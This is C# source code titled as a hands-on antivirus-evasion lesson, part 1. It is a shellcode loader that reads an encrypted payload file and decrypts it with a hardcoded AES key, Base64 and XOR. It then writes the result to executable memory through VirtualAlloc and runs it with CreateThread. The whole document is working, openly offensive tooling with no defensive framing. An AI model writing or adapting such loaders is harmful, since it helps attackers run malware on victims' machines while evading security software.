csharp免杀实战-1

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;

namespace Hellworld
{
    class Program
    {

        static void Main()
        {
            string password = "abcdefgh12345678abcdefgh12345678";
            byte[] AES = File.ReadAllBytes(@"payload.txt");
            string str = Encoding.UTF8.GetString(AES);
            //Console.WriteLine(str);
            string Base64str = Decrypt(str, password);
            switch (Base64str.Length % 4)
            {
                case 2:
                    str += "==";
                    break;
                case 3:
                    str += "=";
                    break;
            }
            byte[] bytes = Convert.FromBase64String(Base64str.Replace('-', '+').Replace('_', '/'));
            byte[] ok = XORDecrypt(bytes);
            code(ok);
        }
        public static string Decrypt(string showText, string AESKey)
        {
            string result = string.Empty;
            try
            {
                byte[] cipherText = Convert.FromBase64String(showText);
                int length = cipherText.Length;
                SymmetricAlgorithm rijndaelCipher = Rijndael.Create();
                rijndaelCipher.Key = Convert.FromBase64String(AESKey);//加解密双方约定好的密钥
                byte[] iv = new byte[16];
                Buffer.BlockCopy(cipherText, 0, iv, 0, 16);
                rijndaelCipher.IV = iv;
                byte[] decryptBytes = new byte[length - 16];
                byte[] passwdText = new byte[length - 16];
                Buffer.BlockCopy(cipherText, 16, passwdText, 0, length - 16);
                using (MemoryStream ms = new MemoryStream(passwdText))
                {
                    using (CryptoStream cs = new CryptoStream(ms, rijndaelCipher.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        cs.Read(decryptBytes, 0, decryptBytes.Length);
                        cs.Close();
                        ms.Close();
                    }
                }
                result = Encoding.UTF8.GetString(decryptBytes).Replace("", "");  ///将字符串后尾的''去掉
            }
            catch { }
            return result;
        }
        public static byte[] XORDecrypt(byte[] input)
        {
            char[] key = { 'M', '3', };
            byte[] output = new byte[input.Length];
            for (int i = 0; i < input.Length; i++)
            {
                output[i] = (byte)(input[i] ^ key[i % key.Length]);
            }
            return output;
        }

        public static bool code(byte[] code)
        {
            try
            {
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)code.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                Marshal.Copy(code, 0, (IntPtr)(funcAddr), code.Length);
                IntPtr hThread = IntPtr.Zero;
                UInt32 threadId = 0;
                IntPtr pinfo = IntPtr.Zero;

                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                WaitForSingleObject(hThread, 0xFFFFFFFF);

                return true;
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("exception: " + e.Message);
                return false;
            }
        }

        // Used to Load Shellcode into Memory:
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId
          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
          IntPtr hHandle,
          UInt32 dwMilliseconds
        );
    }
}